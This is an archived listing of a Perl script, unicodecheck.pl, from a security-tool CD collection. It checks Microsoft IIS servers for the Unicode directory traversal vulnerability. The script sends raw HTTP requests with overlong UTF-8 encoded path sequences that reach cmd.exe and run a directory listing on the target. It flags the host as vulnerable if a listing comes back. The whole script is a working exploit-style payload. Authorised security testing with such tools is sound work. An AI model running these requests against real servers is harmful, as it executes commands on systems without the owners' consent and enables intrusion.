home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webserver / iis / unicodecheck.pl < prev    next >
Perl Script  |  2005-02-12  |  1KB  |  42 lines

  1. #!/usr/bin/perl
  2. # Very simple PERL script to test a machine for Unicode vulnerability. 
  3. # Use port number with SSLproxy for testing SSL sites
  4. # Usage: unicodecheck IP:port
  5. # Only makes use of "Socket" library
  6. # Roelof Temmingh 2000/10/21
  7. # roelof@sensepost.com http://www.sensepost.com
  8.  
  9. use Socket;
  10. # --------------init
  11. if ($#ARGV<0) {die "Usage: unicodecheck IP:port\n";}
  12. ($host,$port)=split(/:/,@ARGV[0]);
  13. print "Testing $host:$port : ";
  14. $target = inet_aton($host);
  15. $flag=0;
  16. # ---------------test method 1
  17. my @results=sendraw("GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0\r\n\r\n");
  18. foreach $line (@results){
  19.  if ($line =~ /Directory/) {$flag=1;}}
  20. # ---------------test method 2
  21. my @results=sendraw("GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0\r\n\r\n");
  22. foreach $line (@results){
  23.  if ($line =~ /Directory/) {$flag=1;}}
  24. # ---------------result
  25. if ($flag==1){print "Vulnerable\n";}
  26. else {print "Safe\n";}
  27. # ------------- Sendraw - thanx RFP rfp@wiretrip.net
  28. sub sendraw {   # this saves the whole transaction anyway
  29.         my ($pstr)=@_;
  30.         socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
  31.                 die("Socket problems\n");
  32.         if(connect(S,pack "SnA4x8",2,$port,$target)){
  33.                 my @in;
  34.                 select(S);      $|=1;   print $pstr;
  35.                 while(<S>){ push @in, $_;}
  36.                 select(STDOUT); close(S); return @in;
  37.         } else { die("Can't connect...\n"); }
  38. }
  39. # Spidermark: sensepostdata
  40.  
  41.  
  42.